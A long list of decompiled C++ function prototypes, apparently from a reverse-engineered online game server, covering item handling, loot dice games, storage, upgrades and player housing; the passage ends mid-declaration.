ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ(int a1, int a2, int netcmd, int len, __int16 handle); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ(int a1, int a2, int netcmd, int equslot, int handle, __int16 a6); void __thiscall GameDBSession::gds_NC_ITEMDB_EQUIPSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_EQUIPFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall TreasureChestLocationManager::TreasureChestLocationManager(TreasureChestLocationManager *this); void __thiscall TreasureChestLocationManager::_TreasureChestLocationManager(TreasureChestLocationManager *this); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, ItemOperateElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, ItemOperateElement *ele); char __thiscall List::l_PopZ(List *this, ItemOperateElement *ele); void __thiscall ItemOperateList::_ItemOperateList(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone(void *this, int lc); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward(void *this, int lc); void __thiscall ShineObjectClass::ShinePlayer::sp_KQReward(void *this, int rewardstr); void __thiscall ShineObjectClass::ShinePlayer::so_MIDReward(void *this, unsigned __int16 nRewardCnt, int pReward, char nGrade); void __thiscall GameDBSession::gds_NC_ITEMDB_CREATEITEMLISTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_CREATEITEMLISTFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_KQ_REWARDSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_KQ_REWARDFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall List::l_Clear(List *this); char __thiscall List::l_PushA(List *this, ItemOperateElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct(void *this, int kqe); void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex(void *this, char *idx); int __thiscall ItemOperateList::ItemOperateList(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_DicePicking(void *this, int a2); char __thiscall ShineObjectClass::ShineDropItem::so_IsDiceGamePlay(ShineObjectClass::ShineDropItem *this); int __thiscall ShineObjectClass::ShineDropItem::sd_GetPlayerDiceGameResult(ShineObjectClass::ShineDropItem *this); void __thiscall ShineObjectClass::ShineDropItem::sd_DiceGameSendMsgResult(ShineObjectClass::ShineDropItem *this, unsigned __int16 error, Name4 WinnerID, int DiceResult); void __thiscall ShineObjectClass::ShineDropItem::sd_DropTimeReStart(ShineObjectClass::ShineDropItem *this); void __thiscall ShineObjectClass::ShineDropItem::sd_DiceGameBufferReset(ShineObjectClass::ShineDropItem *this, bool IsEndGameResetMode); void __thiscall ShineObjectClass::ShinePlayer::sp_Send_NC_ITEM_SOMEONEPICK_CMD(void *this, __int16 nItemHnd); char __thiscall ItemInventory::ii_PickAll(ItemInventory *this, #734 *, #593 *, unsigned __int16, ItemTotalInformation *, int); char __thiscall ItemInventory::ii_PickMerge(ItemInventory *this, #734 *, #593 *, unsigned __int16, ItemInventoryCell *, unsigned int, int, int); void __thiscall ShineObjectClass::ShinePlayer::sp_partyitemdistribute(#593 *, ItemTotalInformation *, unsigned __int16); int __thiscall ShineObjectClass::ShinePlayer::sp_RaidItemsidtribute(_DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShinePlayer::so_ply_PickupItem(#593 *, ItemTotalInformation *, unsigned __int16); void __thiscall ShineObjectClass::ShinePlayer::so_ply_PickupMoney(void *this, unsigned int money); void __thiscall ShineObjectClass::ShinePlayer::so_ply_IncDecMoney(void *this, unsigned int money, char Positive); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKALLFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKMERGESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKMERGEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKMONEYSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKMONEYFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_INC_DEC_MONEYSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_INC_DEC_MONEYFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_itempickresult(void *this, __int16 error, __int16 handle); char __thiscall ShineObjectClass::ShineDropItem::so_DiceItemPickInit(ShineObjectClass::ShineDropItem *this, #593 *pPicker); void __thiscall ShineObjectClass::ShineDropItem::sd_DiceMyGameResultBroadCast(ShineObjectClass::ShineDropItem *this, unsigned __int16 GamePlayerHandle, int nResult); void __thiscall ShineObjectClass::ShineDropItem::sd_DiceGameResult(ShineObjectClass::ShineDropItem *this, const bool IsEndTime); char __thiscall ShineObjectClass::ShineDropItem::so_DiceItemStart(ShineObjectClass::ShineDropItem *this, #593 *, bool, unsigned __int16 *); void __thiscall ItemLotInspector::ili_Set(ItemLotInspector *this, int action, unsigned __int16 itemid); void __thiscall ItemLotInspector::ili_SetFrom(ItemLotInspector *this, int sub, ITEM_INVEN *fromloc, SHINE_ITEM_STRUCT *itemstruct); void __thiscall ItemLotInspector::ili_SetTo(ItemLotInspector *this, int sub, ITEM_INVEN *toloc); void __thiscall ItemLotInspector::ili_TotalLotFrom(ItemLotInspector *this, #593 *sp); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid); void __thiscall ItemRelocationManager::irm_Move(ItemRelocationManager *this, unsigned __int16 handle, #593 *sp, IterRelocationArgument *from, IterRelocationArgument *to); void __thiscall ItemRelocationManager::irm_Exchange(ItemRelocationManager *this, unsigned __int16 handle, #734 *sp, IterRelocationArgument *from, IterRelocationArgument *to); void __thiscall ItemRelocationManager::irm_Merge(ItemRelocationManager *this, unsigned __int16 handle, #734 *sp, IterRelocationArgument *from, IterRelocationArgument *to, int mergelot); void __thiscall ItemRelocationManager::irm_Split_N_Merge(ItemRelocationManager *this, unsigned __int16 handle, #734 *sp, IterRelocationArgument *from, IterRelocationArgument *to, int splitlot); void __thiscall GameDBSession::gds_NC_ITEMDB_RELOCSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_RELOCFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_EXCHANGESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_EXCHANGEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_MERGESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_MERGEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SPLIT_N_MERGESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SPLIT_N_MERGEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_DEPOSIT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_DepositAck(void *this, int deposit); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WithdrawAck(void *this, int withdraw); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_STORAGE_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_Move2MiniHouse(_DWORD, _DWORD, _DWORD); // weak unsigned __int16 __thiscall ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init(ShineObjectClass::ShinePlayer::MiniHouseStr *this, #734 *, ItemInventoryCell *); void __thiscall ShineObjectClass::ShinePlayer::sp_DecorationActivCheck(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendBoothSize(void *this); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_Move2MiniHouseFurniture(ShineObjectClass::ShineMiniHouse *this, #593 *, ItemInventoryCell *, int, int); int __thiscall ShineObjectClass::ShinePlayer::sp_DestroyNReloc(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_AccountStoragePageReq(void *this, signed int page, char OpenType); void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemReloc(void *ecx0, int a2, int a3); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_OPENSTORAGEPAGE_REQ(void *this, int netcmd, int len, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::sp_ItemReloc(_DWORD, _DWORD, _DWORD); // weak // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ(int a1, int a2, int netcmd, int len, int handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck(void *this, int withdraw); void __thiscall ItemInventory::ii_SellAll(ItemInventory *this, #734 *, unsigned __int16, ItemInventoryCell *, PROTO_NC_ITEM_SELL_REQ *, unsigned int); void __thiscall ItemInventory::ii_SellLot(ItemInventory *this, #734 *, unsigned __int16, ItemInventoryCell *, PROTO_NC_ITEM_SELL_REQ *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ(void *this, int netcmd, int len, unsigned __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_SELLALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SELLLOTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SELLFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); unsigned __int16 __thiscall PineEventScriptNode::ScriptAtom::sa_BlockNameCheck(CQuest *this, unsigned __int16 nItemID); void __thiscall GameDBSession::gds_NC_ITEMDB_SPLITSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SPLITFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ(void *sp, int netcmd, int len, __int16 handle); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck(void *ecx0, unsigned int itemkey); void __thiscall GameDBSession::gds_NC_ITEMDB_UNEQUIPFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_UNEQUIPSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetLastUpgradeInfo(); int __thiscall ShineObjectClass::ShinePlayer::so_GetLastUpgradeInfo(void *this); bool __cdecl item_RandomOptionUpgrade(SHINE_ITEM_STRUCT *pItemStruct, ItemOptionStorage::Element *rOption, int muliple, int NewLevel); char __cdecl Item_GetUpgradeLimit(unsigned __int16 nItemID); bool __cdecl Item_IsUpSource(unsigned __int16 nItemID, unsigned __int16 nRawID, char nItemUpgradeLevel); bool __cdecl Item_IsUpSourceLeftRight(unsigned __int16 nItemID, unsigned __int16 nRawID, char nItemUpgradeLevel); char __cdecl Item_AdjUpgradeLevel(SHINE_ITEM_STRUCT *pItemStruct, char AdjValue); char __cdecl Item_AdjFailCount(SHINE_ITEM_STRUCT *pItemStruct, char AdjValue, char bSet); void __thiscall GameDBSession::gds_NC_ITEMDB_UPGRADE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); AccUpgrade *__cdecl ITableBase::GetByIndex(unsigned int uiIndex); char __cdecl Item_Upgrade(#734 *, ItemBag *, char, char, char, char, char); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ(void *this, int netcmd, int len, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::sp_ItemUseReq_Inven(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __stdcall ShineObjectClass::ShineObject::so_NC_ITEMDB_USE_ACK(__int16 index); void __thiscall ShineObjectClass::ShinePlayer::sp_ItemUseBroadcast(int this, int useitem, __int16 itmid); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueRoar *content); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_USE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK(void *this, int index); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ItemUse(void *this, int itminf, int invenslot); void __thiscall UseEffect::UseItemSilverWing::uib_AfterCast(UseEffect::UseItemSilverWing *this, #734 *, ItemBag *, ItemDataBox::ItemDataBoxIndex *, char); void __thiscall UseEffect::UseItemNormal::uib_AfterCast(UseEffect::UseItemNormal *this, #734 *, ItemBag *, ItemDataBox::ItemDataBoxIndex *, char); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess(void *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, LuaFuncTrigger::TriggerUseItem *const *_Val); void __thiscall ShineObjectClass::ShinePlayer::sp_ItemUseReq_Equip(void *this, int slot, int invcell, ItemActionArgument ***idbi); int __thiscall LuaFuncTrigger::FuncTrigger::ft_Find(LuaFuncTrigger::FuncTrigger *this, #593 *, std::vector > *); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isAlreadyEnterPlayer(ShineObjectClass::ShineMiniHouse *this, #593 *sp); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanEnter(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isPublic(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PasswordComp(ShineObjectClass::ShineMiniHouse *this, char *Password); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_BroadcastNotify(ShineObjectClass::ShineMiniHouse *this, char *Chat); NPCManager::LinkInformTemplete *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetRollBackLinkPos(ShineObjectClass::ShineMiniHouse *this); NPCManager::LinkInformTemplete *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetEnterLinkPos(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetOwnerHandleNumber(ShineObjectClass::ShineMiniHouse *this); signed int __cdecl ShineObjectClass::ShineObject::so_mh_GetOwnerRegistNumber(); unsigned int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetOwnerRegistNumber(ShineObjectClass::ShineMiniHouse *this); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_GetMemberPlayerHandleNumber(int spc); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMemberPlayerHandleNumber(ShineObjectClass::ShineMiniHouse *this, int spc); unsigned int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMemberPlayerRegistNumber(ShineObjectClass::ShineMiniHouse *this, int spc); #593 *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMemberPlayer(ShineObjectClass::ShineMiniHouse *this, int spc); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetInnerPlayerCount(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetInnerGMCount(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMaxInnerPlayer(ShineObjectClass::ShineMiniHouse *this); BriefInformationMiniHouse *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetBriefInfo(ShineObjectClass::ShineMiniHouse *this); signed int __stdcall ShineObjectClass::ShineObject::so_mh_CompulsionMoveTo(int moveto); char __thiscall ShineObjectClass::ShineObject::so_mh_BuildingMiniHouse(#593 *this, #734 *, char *, char *, char *, int, char, char *); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetVisitReadyInfo(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_VISITREADY_ACK *visitready_ack); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetAllPlayerInfo(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_LOGINCOMPLETE_ACK *playerinfo, unsigned int nVisitorCharNo); char *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetOwner(ShineObjectClass::ShineMiniHouse *this); char *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetTitle(ShineObjectClass::ShineMiniHouse *this); ItemBag *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetFurnitureInven(ShineObjectClass::ShineMiniHouse *this, int inventype); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanObjAni(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 FurnitureHandle); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_EffectApply(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nEffectHnd, PROTO_NC_MINIHOUSE_FURNITURE_EFFECT_CMD *pFurnitureEffectCmd); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DeActivePortal(ShineObjectClass::ShineMiniHouse *this); void *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalEffect(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalEffectApply(ShineObjectClass::ShineMiniHouse *this, void *pFurnitureEffectTable, PROTO_NC_MINIHOUSE_PORTAL_EFFECT_CMD *pPortalEffectCmd); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_CanFurnitureEmotion(#593 *this, #593 *, PROTO_NC_MINIHOUSE_FURNITURE_EMOTION_REQ *); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsFurnitureEmotion(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nFurnitureHnd, char nPosition); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_FurnitureEmotionStop(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nFurnitureHnd, #593 *owner); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendInnerPlayerFurnitureEmotion(ShineObjectClass::ShineMiniHouse *this, #593 *sp_joinner); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid); MiniHouseEndure *__thiscall MiniHouseEndureDataBox::operator__(MiniHouseEndureDataBox *this, unsigned __int16 sub); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_CHAR_ITEM_CMD *ItemCmd, int inventype); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CompulsionMoveTo(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_COMPULSIONMOVETO_REQ *moveto); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_Enter(ShineObjectClass::ShineMiniHouse *this, #593 *sp); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_Out(ShineObjectClass::ShineMiniHouse *this, #593 *sp); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_KickOut(ShineObjectClass::ShineMiniHouse *this, unsigned int srn); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel(ShineObjectClass::ShineMiniHouse *this, unsigned int srn); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer(ShineObjectClass::ShineMiniHouse *this, char NewMaxPlayer); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword(ShineObjectClass::ShineMiniHouse *this, char *NewPassword); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle(ShineObjectClass::ShineMiniHouse *this, char *NewTitle); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_MODIFY_ITEM_INFO_OPEN_REQ *pReq); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_MODIFY_NOTIFY_REQ *pReq); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetArrangeMode(ShineObjectClass::ShineMiniHouse *this, char newmode); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendArrangeMode(ShineObjectClass::ShineMiniHouse *this, #593 *sp); void __thiscall ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart(void *this, void *a2); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CreateFurniture(ShineObjectClass::ShineMiniHouse *this, #734 *, PROTO_NC_MINIHOUSE_CREATE_FURNITURE_REQ *); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DeleteFurniture(ShineObjectClass::ShineMiniHouse *this, #734 *, PROTO_NC_MINIHOUSE_DELETE_FURNITURE_REQ *); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ReArrangeFurniture(ShineObjectClass::ShineMiniHouse *this, #593 *, PROTO_NC_MINIHOUSE_REARRANGE_REQ *); char __thiscall ShineObjectClass::ShineMiniHouse::smh_SendFurnitureInfo(ShineObjectClass::ShineMiniHouse *this, #593 *sp); void __thiscall ShineObjectClass::ShineMiniHouse::smh_FurnitureActiveCheck(ShineObjectClass::ShineMiniHouse *this, ItemBag *itembag, int inventype); int __stdcall ShineObjectClass::ShineObject::so_mh_GetItemCellByFurnitureHandle(__int16 FurnitureHandle); ItemInventoryCell *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetItemCellByFurnitureHandle(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 FurnitureHandle); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetPortalList(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_DB_PORTAL_LIST_ACK *portal_list_ack); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_AddPortal(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_DB_PORTAL_ADD_ACK *portal_add_ack); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_PORTAL_OPEN_REQ *pReq); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalClose(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_PORTAL_CLOSE_REQ *pReq); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nPortalItemID); char __cdecl ShineObjectClass::ShineObject::so_mh_isEndureGradeDown(); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown(ShineObjectClass::ShineMiniHouse *this); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DoingEndureGradeDown(ShineObjectClass::ShineMiniHouse *this, char *bIsPlaced); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanFurnitureEmotion(ShineObjectClass::ShineMiniHouse *this, #593 *, PROTO_NC_MINIHOUSE_FURNITURE_EMOTION_REQ *); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_BuildingMiniHouse(ShineObjectClass::ShineMiniHouse *this, #734 *, char *, char *, char *, int, char, char *); void __thiscall NameString::NameString(NameString *this); void __thiscall MobTargetAggresiveALL::_MobTargetAggresiveALL(MobTargetAggresiveALL *this); void *__thiscall MobTargetAggresiveALL::_scalar_deleting_destructor_(MobTargetAggresiveALL *this, unsigned int); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetMobHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetPlayerHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetMiniHouseHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetDropItemHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetAxialHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetBanditHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetNPCHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetEffectHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetMagicFieldHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetDoorHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); unsigned __int16 __thiscall ShineObjectHandleUnion::sohu_SetServantHandle(ShineObjectHandleUnion *this, unsigned __int16 handle); void __thiscall PacketContainer::pcb_Clear(PacketContainer *this); void __thiscall BriefInformationCharacter::BriefInformationCharacter(BriefInformationCharacter *this); void __thiscall BriefInformationMob::BriefInformationMob(BriefInformationMob *this); void __thiscall BriefInformationMiniHouse::BriefInformationMiniHouse(BriefInformationMiniHouse *this); void __thiscall BriefInformationEffect::BriefInformationEffect(BriefInformationEffect *this); void __thiscall BriefInformationDoor::BriefInformationDoor(BriefInformationDoor *this); void __thiscall BriefInformationDropItem::BriefInformationDropItem(BriefInformationDropItem *this); void __thiscall BriefInformationMagicField::BriefInformationMagicField(BriefInformationMagicField *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_Setpartyslot(int this, int ps); void __thiscall ShineObjectClass::ShinePlayer::sp_UnlockRefundReq(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_UnlockRefundCancelReq(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetPossibleNewConnect(int this, char isPossibleNewConnect); void __thiscall CharacterInventory::CharacterInventory(CharacterInventory *this); void __thiscall CharacterInventory::_CharacterInventory(CharacterInventory *this); void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed(MemoryQueueGuildReName *this); int __cdecl ShineObjectClass::ShineObject::so_Initstaticvar(); int __thiscall ShineObjectClass::ShineObject::__unnamed::__unnamed(_DWORD); // weak void __thiscall BroadcastEventPopper::_BroadcastEventPopper(BroadcastEventPopper *this); void __thiscall ShineObjectClass::ShineMobileObject::AS::_AS(ShineObjectClass::ShineMobileObject::AS *this); int __thiscall ShineObjectClass::ShineMobileObject::smo_SetMode(int this, char mode); void __thiscall 